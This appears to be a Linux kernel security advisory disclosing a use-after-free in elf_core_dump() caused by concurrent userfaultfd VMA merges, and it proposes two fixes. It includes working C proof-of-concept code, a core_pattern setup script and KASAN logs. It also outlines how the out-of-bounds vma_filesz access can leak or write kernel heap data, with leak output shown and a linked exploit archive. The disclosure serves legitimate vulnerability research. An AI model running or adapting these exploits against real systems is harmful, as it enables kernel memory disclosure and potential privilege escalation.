elf_core_dump() has a comment back from something like 2.5.43-C3 that says:

        /*
         * We no longer stop all VM operations.
         * 
         * This is because those proceses that could possibly change map_count
         * or the mmap / vma pages are now blocked in do_exit on current
         * finishing this core dump.
         *
         * Only ptrace can touch these memory addresses, but it doesn't change
         * the map_count or the pages allocated. So no possibility of crashing
         * exists while dumping the mm->vm_next areas to the core file.
         */

However, since commit 86039bd3b4e6 ("userfaultfd: add new syscall to provide
memory externalization", introduced in v4.3), that's no longer true; the
following functions can call vma_merge() on another task's VMAs while holding
the corresponding mmap_sem for writing:

 - userfaultfd_release() [->release handler]
 - userfaultfd_register() [invoked via ->unlocked_ioctl handler]
 - userfaultfd_unregister() [invoked via ->unlocked_ioctl handler]

This means that VMAs can disappear from under elf_core_dump().


I see two potential ways to fix this, but I'm not sure whether either of them is
good:

1. Let elf_core_dump() hold a read lock on the mmap_sem across the page-dumping
   loop. This would mean that the mmap_sem can be blocked indefinitely by a
   userspace process, and e.g. userfaultfd_release() could block the task or
   global workqueue it's running on (depending on where the final fput()
   happened) indefinitely, which seems potentially bad from a denial-of-service
   perspective?
2. Let coredump_wait() set a flag on the mm_struct before dropping the mmap_sem
   that says "this mm_struct is going away, keep your hands off";
   let the userfaultfd ioctl handlers check for the flag and bail out as if the
   mm_struct was already dead;
   hack userfaultfd_release() so that it only calls vma_merge() if the flag
   hasn't been set;
   and because I feel icky about concurrent reads and writes of bitmasks without
   explicit annotations, either make the vm_flags accesses in
   userfaultfd_release() and in everything called from elf_core_dump() atomic
   (because userfaultfd_release will clear bits in them concurrently with reads
   from elf_core_dump()) or let elf_core_dump() take the mmap_sem for reading
   while looking at vm_flags.
   If the fix goes in this direction, it should probably come with a big warning
   on top of the definition of mmap_sem, or something like that.


Here's a simple proof-of-concept:
======================================================================
user@debian:~/uffd_coredump$ cat coredump_helper.c
#include <unistd.h>
#include <stdlib.h>
#include <err.h>
#include <stdbool.h>

int main(void) {
  char buf[1024];
  size_t total = 0;
  bool slept = false;
  while (1) {
    int res = read(0, buf, sizeof(buf));
    if (res == -1) err(1, "read");
    if (res == 0) return 0;
    total += res;
    if (total > 1024*1024 && !slept) {
      sleep(10);
      slept = true;
    }
  }
}
user@debian:~/uffd_coredump$ gcc -o coredump_helper coredump_helper.c
user@debian:~/uffd_coredump$ cat set_helper.sh 
#!/bin/sh
echo "|$(realpath ./coredump_helper)" > /proc/sys/kernel/core_pattern
user@debian:~/uffd_coredump$ sudo ./set_helper.sh 
user@debian:~/uffd_coredump$ cat dumpme.c 
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <err.h>
#include <unistd.h>
#include <sys/mman.h>

int main(void) {
  // set up an area consisting of half normal anon memory, half present userfaultfd region
  void *area = mmap(NULL, 1024*1024*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  if (area == MAP_FAILED) err(1, "mmap");
  memset(area, 'A', 1024*1024*2);
  int uffd = syscall(__NR_userfaultfd, 0);
  if (uffd == -1) err(1, "userfaultfd");
  struct uffdio_api api = { .api = 0xAA, .features = 0 };
  if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API");
  struct uffdio_register reg = {
    .range = { .start = (unsigned long)area+1024*1024, .len = 1024*1024 },
    .mode = UFFDIO_REGISTER_MODE_MISSING
  };
  if (ioctl(uffd, UFFDIO_REGISTER, &reg)) err(1, "REGISTER");

  // spawn a child that can do stuff with the userfaultfd
  pid_t child = fork();
  if (child == -1) err(1, "fork");
  if (child == 0) {
    sleep(3);
    if (ioctl(uffd, UFFDIO_UNREGISTER, &reg.range)) err(1, "UNREGISTER");
    exit(0);
  }

  *(volatile char *)0 = 42;
}
user@debian:~/uffd_coredump$ gcc -o dumpme dumpme.c
user@debian:~/uffd_coredump$ ./dumpme 
Segmentation fault (core dumped)
user@debian:~/uffd_coredump$ 
======================================================================

dmesg output:
======================================================================
[  128.977354] dumpme[1116]: segfault at 0 ip 0000563e14789a6e sp 00007ffed407cd80 error 6 in dumpme[563e14789000+1000]
[  128.979600] Code: ff 85 c0 74 16 48 8d 35 d7 00 00 00 bf 01 00 00 00 b8 00 00 00 00 e8 c1 fc ff ff bf 00 00 00 00 e8 c7 fc ff ff b8 00 00 00 00 <c6> 00 2a b8 00 00 00 00 c9 c3 0f 1f 84 00 00 00 00 00 41 57 41 56
[  138.988465] ==================================================================
[  138.992696] BUG: KASAN: use-after-free in elf_core_dump+0x2063/0x20e0
[  138.994168] Read of size 8 at addr ffff8881e616ed60 by task dumpme/1116

[  138.996163] CPU: 1 PID: 1116 Comm: dumpme Not tainted 5.0.0-rc8 #292
[  138.997591] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[  138.999570] Call Trace:
[  139.000237]  dump_stack+0x71/0xab
[...]
[  139.001940]  print_address_description+0x6a/0x2b0
[...]
[  139.005026]  kasan_report+0x14e/0x192
[...]
[  139.006803]  elf_core_dump+0x2063/0x20e0
[...]
[  139.013876]  do_coredump+0x1072/0x17a0
[...]
[  139.027534]  get_signal+0x93c/0xa90
[  139.028400]  do_signal+0x85/0xb20
[...]
[  139.034068]  exit_to_usermode_loop+0xfb/0x120
[...]
[  139.036028]  prepare_exit_to_usermode+0x95/0xb0
[  139.037114]  retint_user+0x8/0x8
[  139.037884] RIP: 0033:0x563e14789a6e
[  139.038661] Code: ff 85 c0 74 16 48 8d 35 d7 00 00 00 bf 01 00 00 00 b8 00 00 00 00 e8 c1 fc ff ff bf 00 00 00 00 e8 c7 fc ff ff b8 00 00 00 00 <c6> 00 2a b8 00 00 00 00 c9 c3 0f 1f 84 00 00 00 00 00 41 57 41 56
[  139.042892] RSP: 002b:00007ffed407cd80 EFLAGS: 00010202
[  139.044148] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007f654198538b
[  139.045809] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000001200011
[  139.047405] RBP: 00007ffed407cdd0 R08: 00007f6541e6f700 R09: 00007ffed407cdae
[  139.049063] R10: 00007f6541e6f9d0 R11: 0000000000000246 R12: 0000563e14789770
[  139.050659] R13: 00007ffed407ceb0 R14: 0000000000000000 R15: 0000000000000000

[  139.052673] Allocated by task 1116:
[  139.053506]  __kasan_kmalloc.constprop.9+0xa0/0xd0
[  139.054600]  kmem_cache_alloc+0xd6/0x1e0
[  139.055561]  vm_area_alloc+0x1b/0x80
[  139.056339]  mmap_region+0x4db/0xa60
[  139.057179]  do_mmap+0x44d/0x6f0
[  139.057953]  vm_mmap_pgoff+0x163/0x1b0
[  139.058936]  ksys_mmap_pgoff+0x16a/0x330
[  139.059839]  do_syscall_64+0x73/0x160
[  139.060633]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  139.062270] Freed by task 1117:
[  139.062957]  __kasan_slab_free+0x130/0x180
[  139.063906]  kmem_cache_free+0x73/0x1c0
[  139.064829]  __vma_adjust+0x564/0xca0
[  139.065756]  vma_merge+0x358/0x6a0
[  139.066504]  userfaultfd_ioctl+0x687/0x17c0
[  139.067533]  do_vfs_ioctl+0x134/0x8f0
[  139.068377]  ksys_ioctl+0x70/0x80
[  139.069141]  __x64_sys_ioctl+0x3d/0x50
[  139.069959]  do_syscall_64+0x73/0x160
[  139.070755]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  139.072235] The buggy address belongs to the object at ffff8881e616ed50
                which belongs to the cache vm_area_struct of size 200
[  139.075075] The buggy address is located 16 bytes inside of
                200-byte region [ffff8881e616ed50, ffff8881e616ee18)
[  139.077556] The buggy address belongs to the page:
[  139.078648] page:ffffea0007985b00 count:1 mapcount:0 mapping:ffff8881eada6f00 index:0x0 compound_mapcount: 0
[  139.080745] flags: 0x17fffc000010200(slab|head)
[  139.081724] raw: 017fffc000010200 ffffea000792dc08 ffffea0007765c08 ffff8881eada6f00
[  139.083477] raw: 0000000000000000 00000000001d001d 00000001ffffffff 0000000000000000
[  139.085121] page dumped because: kasan: bad access detected

[  139.086667] Memory state around the buggy address:
[  139.087695]  ffff8881e616ec00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.089294]  ffff8881e616ec80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.090833] >ffff8881e616ed00: fc fc fc fc fc fc fc fc fc fc fb fb fb fb fb fb
[  139.092417]                                                        ^
[  139.093780]  ffff8881e616ed80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  139.095318]  ffff8881e616ee00: fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.096917] ==================================================================
[  139.098460] Disabling lock debugging due to kernel taint
======================================================================

################################################################################

 One thing that makes exploitation nice here is that concurrent modification of the number of VMAs throws off the use of the heap-allocated array `vma_filesz`: First vma_filesz is allocated with a size based on the number of VMAs, then it is filled by iterating over the VMAs and writing their calculated sizes into the array (without re-checking against the array's size), and then the function iterates over the VMAs again and dumps the entries in vma_filesz to userspace, again without checking whether the array bounds were exceeded.
This means that you can use this to:

 - leak in-bounds uninitialized values
 - leak out-of-bounds data
 - write out-of-bounds data (with constraints on what can be written)

By using FUSE as source of file mappings and as coredump target (assuming that the system has the upstream default core_pattern), you can pause both the loop that performs out-of-bounds writes as well as the loop that performs out-of-bounds reads, so you should be able to abuse this to write in the middle of newly allocated objects if you want to.

The attached proof-of-concept just demonstrates how you can use this to leak kernel heap data because I didn't want to spend too much time on building a PoC for this.

Usage:

=========================================================================
user@deb10:~/uffd_core_memdump$ tar cf uffd_core_memdump_clean.tar
tar: Cowardly refusing to create an empty archive
Try 'tar --help' or 'tar --usage' for more information.
user@deb10:~/uffd_core_memdump$ tar cf uffd_core_memdump_clean.tar uffd_core_memdump_clean/
user@deb10:~/uffd_core_memdump$ cd uffd_core_memdump_clean/
user@deb10:~/uffd_core_memdump/uffd_core_memdump_clean$ ls
compile.sh  slowfuse.c  uffd_core_oob.c
user@deb10:~/uffd_core_memdump/uffd_core_memdump_clean$ ./compile.sh 
user@deb10:~/uffd_core_memdump/uffd_core_memdump_clean$ ./uffd_core_oob 
waiting for fuse...
fuse is up
got sync 1
wrote sync 2
########## getattr(/core)
########## getattr(/core)
######## create /core
########## getattr(/core)
########## getattr(/core)
starting tarpit
got sync 2
0x0000000000000e3c 0x0000000000000000 0x0000000000000000 0x0000000000001000 
0x0000000000000000 0x0000000000000000 0x0000000000001000 0x0000000000001000 
0x0000000000021000 0x0000000000001000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000004000 0x0000000000002000 0x0000000000004000 
0x0000000000002000 0x0000000000001000 0x0000000000000000 0x0000000000000000 
0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000021000 
0x0000000000003000 0x0000000000002000 0xffff9d5e5d354020 0xffff9d5e5d354020 
0x0000000000000000 0x0000000000000000 0x00007ffe113b5fe8 0x0000000000800000 
0xffffffffffffffff 0xcbdddcafbd3ba9d1 0x0000000000000000 0x00000001003e0003 
0x0000000000002c80 0x0000000000000040 0x0000000000006150 0x0038004000000000 
0x001b001c00400009 0x0000000400000006 0x0000000000000040 0x0000000000000040 
0x0000000000000040 0x00000000000001f8 0x00000000000001f8 0x0000000000000008 
0x0000000400000003 0xffff9d5e39c7edd0 0x0000000000000000 0x0000000000000000 
0x00007fffa1d9dc90 0x0000000000000001 0xffff9d5e421c1300 0x0000000000000000 
0x0000000000000000 0x0000001100000003 0xffff9d5e5d352020 0xffff9d5e5d352020 
0x0000000000000000 0x0000000000000000 0x00007fffa1d9efea 0x0000000000800000 
0xffffffffffffffff 0xcbdddcafbd3bacd1 0x000000000000cccc 0x0000000000000000 
0x000000000000cdcd 0x0000000000000000 0x000000000000cece 0x0000000000000000 
0x000000000000cfcf 0x0000000000000000 0x000000000000d0d0 0x0000000000000000 
0x000000000000d1d1 0x0000000000000000 0x000000000000d2d2 0x0000000000000000 
0x000000000000d3d3 0x0000000000000000 0x000000000000d4d4 0x0000000000000000 
0x000000000000d5d5 0x0000000000000000 0x000000000000d6d6 0x0000000000000000 
0x000000000000d7d7 0x0000000000000000 0x000000000000d8d8 0x0000000000000000 
0x000000000000d9d9 0x0000000000000000 0x000000000000dada 0x0000000000000000 
0x000000000000dbdb 0xcbdddcafbd3ba2d1 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0xffff9d5e445b1860 0xffff9d5e445b1860 0x0000000000000000 
0x0000000000000000 0xffffae0182101000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000180 0xffff9d5e445b18c8 0xffff9d5e445b18c8 
0xffffffff90f80b40 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0xcbdddcafbd3ba9d1 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0xffff9d5e6699ccc0 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
[...]
0xffff9d5e445ebd58 0xffff9d5e445ebd58 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0xffff9d5e4978d080 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0xffff9d5e5e180c60 0x0000000000000000 0xffff9d5e445ebdd0 
0xffff9d5e445ebdd0 0xffff9d5e445ebde0 0xffff9d5e445ebde0 0xffff9d5e5d669430 
0x0000000000000000 0x4cab9d3f81e3f812 0xffffffff91058c10 0xffff9d5e49614f20 
0xffff9d5e5d406b40 0xffff9d5e5d40a328 0xffffffff91a2ae80 0x0000000000000000 
0x0000000000000000 0x0008400000220000 0x0000000000000000 0x0000000000000000 
0xffff9d5e445ebe58 0xffff9d5e445ebe58 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 
Segmentation fault (core dumped)
=========================================================================


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/46781.zip